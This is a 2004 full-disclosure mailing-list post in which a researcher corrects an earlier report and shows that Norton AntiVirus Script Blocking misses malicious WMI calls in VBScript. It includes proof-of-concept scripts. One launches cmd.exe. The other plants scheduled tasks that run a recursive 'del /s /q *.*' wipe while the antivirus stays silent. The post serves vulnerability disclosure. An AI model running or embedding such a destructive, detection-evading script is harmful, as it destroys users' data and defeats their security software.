Message-ID: <EXCHANGEGXAwxXSXI3a0000461d@mail.orbex.com>
Date: Wed, 20 Oct 2004 15:01:44 -0400
From: "Daniel Milisic" <dmilisic@...ealbox.com>
To: <full-disclosure@...ts.netsys.com>
Cc: <bugtraq@...urityfocus.com>
Subject: Norton AntiVirus 2004/2005 Script Blocking Redux


Hello All,

A correction and some clarification in reference to:
http://lists.insecure.org/lists/fulldisclosure/2004/Oct/0540.html
Norton AntiVirus 2004 Script Blocking Failure (Rant and PoC enclosed)

I was incorrect on a detail: NAV 2004's "resident scanner" Application
Privileges.  If you read on you'll discover it's less relevant in the
Big Picture but I need to clear up the misconception.  By the time I had
expressed my dim view of Norton AntiVirus's other 'features' I was so
completely disgusted that I didn't bother to do anything else but point
out the obvious... namely that I can kill a process called "CCapp.exe"
using VBScript OK'd by Norton Script Blocking, by means of WMI.  I was
incorrect in stating NAV runs only with user-level privileges.   I found
the NAV 2005 trialware online and did some more digging... NAV
(Stand-alone NAV 2005, not the 'Suite') installs 11 (Eleven!!!) services
on a patched WinXP install.  Excuse the sarcasm, but this *might*
have something to do with that performance problem I was complaining
about in my original post.  If I wasn't so infuriated with the whole
Norton AV offering I would have ferreted out those services and come to
the correct conclusion about NAV's privileges... but frankly I was
already miffed at NAV for other good reasons, and didn't feel that
spending time on it held much value.

Symantec will state that as a regular "User" you can't kill NAV Script
Protection's low-level services.  This is completely correct.  All you
can do as a "User" with WMI is kill the fugly frontend apps "CCapp.exe"
and "NMain.exe" (and probably wreak some as-yet undiscovered havoc).
However, the correction doesn't conflict with the other observations
mentioned in my previous post.

This is about NAV Script Blocking ignoring potentially nasty WMI usage
in VBScript.  Windows Management Instrumentation is included with
98/ME/2000/XP, and was introduced to Windows as a way to allow remote
(or in this case local) system management.  Filesystem, registry, or
service manipulation is available within the permission boundaries of
the user making the WMI call.  Unfortunately, most Windows users at home
run with "Administrator" rights so as expected the 'maliciously crafted'
WMI running with Admin privs gets passed over by NAV Script Blocking.
Never run as root! ...uhmm you know what I mean.

So what's the deal with Script Blocking and WMI anyway?  Should it not
be a big deal to completely block WMI from wscript.exe?  Does NAV's use
of WMI for hooking AV-update awareness in XP SP2 Security Center have
anything to do with it?  Does Symantec have to go over *every* WMI hook
and explicitly block/allow it?  If that's the case, what's with
talking-up the whizbang functionality of Script Blocking when it's
blatantly not near fully implemented.  Not to say I think it ever could
be, there's a blue sea of WMI calls to pick off of MSDN's site with
which to run amok.  Hope I'm wrong about that, just speculating... more
questions than answers at this point.

It gets more off the wall.  I could not get the first script below to
work properly under NAV 2005.  The script started (wscript.exe launched)
and terminated.  No flashy NAV warning window, nothing.  Now, even with
Script Blocking and Auto-Protect disabled, I still couldn't get the
script to run.  I Selected the option to disable NAV auto-start on
Windows and reboot, *still* no-go!!!  The script ran as expected on
separate XP/SP2 and NT4+WMI test machines.  It seems I can't help but to
run into demented behaviour from this software at every turn.

--- CMD-BY-WMI.vbs ---
Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
errReturn = objProcess.Create("cmd.exe")
--- CMD-BY-WMI.vbs ---

Ok, so that was a no-go while creating more questions.

Now, for a twist check this out:  Use WMI in a VBScript to plant a
highly violent (or whatever) Scheduled Task.  Norton AntiVirus 2005
Script Blocking didn't blink; and two 'AT' events were added to
Scheduled Tasks:

--- BEGIN -- WRECK_MY_XP_WITHOUT_LETTING_NAV_KNOW.VBS ---
'
' This was a three-minute MSDN drive-by hit for a WMI vector
' HINT: Something bad happens at 4:25am.
' Then Something REALLY bad happens at 4:26am.
'
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set objNewJob = objWMIService.Get("Win32_ScheduledJob")
errJobCreated = objNewJob.Create _
    ("cmd.exe /c echo del /s /q *.* > toast_in_1_min.bat",
"********012500.000000-420", _
        True , 4, , True, JobID)
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set objNewJob = objWMIService.Get("Win32_ScheduledJob")
errJobCreated = objNewJob.Create _
    ("cmd.exe toast_in_1_min.bat", "********012600.000000-420", _
        True , 4, , True, JobID)
'
---- END --- WRECK_MY_XP_WITHOUT_LETTING_NAV_KNOW.VBS ---

The funny part in a macabre way is that the Scheduled Tasks open in
\Windows\System32 by default.  Doh!

In hindsight I would have preferred to dig into things more deeply than
draw a partially inaccurate conclusion, but my purpose was to illustrate
how completely miserable Norton AntiVirus is overall.  In fact most of
my original post to Full Disclosure was dedicated to this broader
(and I believe more important) issue.

Symantec e-mailed me a courteous response acknowledging the issue.  They
also mentioned that "We will work directly with anyone who believes they
have found a security issue in a Symantec product to validate the
problem and coordinate any response deemed necessary."  Even me.  Maybe
I took that the wrong way but it came off sounding like this was some
kind of horrible, horrible news I dumped on them out of nowhere, and
they'd appreciate being the first to know next time.

My Response:  If such diligence genuinely held, why is the 
shiny new NAV 2005 shipping with the *same* flaws as NAV 2004 (and
probably elder versions) knowing the WMI issues have been publicly
available since at *least* July?  See
http://seclists.org/lists/vuln-dev/2004/Jul/0037.html
for a less dramatic illustration of "Fun with NAV's WMI handling".  No
doubt this knowledge has been in the hands of the baddies for a LOT
longer than three months.  All I did was clobber NAV in a way that got
easily recognized.  If any of this was *really* news I would have talked
to Symantec privately first, because (to me anyway, not judging anyone)
it would have been the Right Thing(tm) to do.

Regards,
Dan M.

PS: Any correspondence that's been sent to my e-mail address is
Unavailable today -- the folks at Novell are upgrading myrealbox.com
Feel free to use my gmail address (dmilisic) should anyone wish to
follow-up off-list.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Powered by blists - more mailing lists